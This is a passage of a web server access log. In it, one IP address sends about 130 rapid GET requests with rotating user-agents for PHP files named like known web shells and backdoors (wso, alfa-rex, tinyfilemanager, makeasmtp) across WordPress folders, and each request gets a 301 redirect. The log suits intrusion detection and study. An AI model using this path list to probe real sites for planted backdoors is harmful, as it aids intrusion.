"-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:41 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:42 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:31:42 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:42 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:42 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:42 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:43 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:43 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:43 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:43 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:43 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:43 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:44 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:44 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:31:44 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:44 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:44 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:31:45 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:45 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:45 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:45 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:45 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:45 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:46 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:46 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:46 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:46 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:46 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:47 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:47 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:31:47 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:47 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:47 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:47 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:48 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:48 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:31:48 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:48 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:48 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:48 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:31:49 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:49 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:49 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:49 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:49 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:50 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:50 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:50 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:50 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:50 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:50 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:51 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:51 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:51 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:51 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:51 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:52 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:52 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:52 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:52 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:52 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:53 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:53 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:53 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:53 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:53 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:53 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:54 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:54 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:54 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:31:54 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:54 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:54 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:31:55 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:55 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:55 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:55 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:31:55 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:55 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:56 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:56 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:56 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:31:56 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:56 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:56 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:57 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:57 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:57 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:57 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:57 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:57 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:58 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:58 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:58 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:58 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:31:58 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:58 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:59 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:31:59 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:59 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:59 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:59 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:59 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:00 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:00 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:00 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:00 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:00 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:00 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:32:01 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:01 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:32:01 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:01 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:01 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 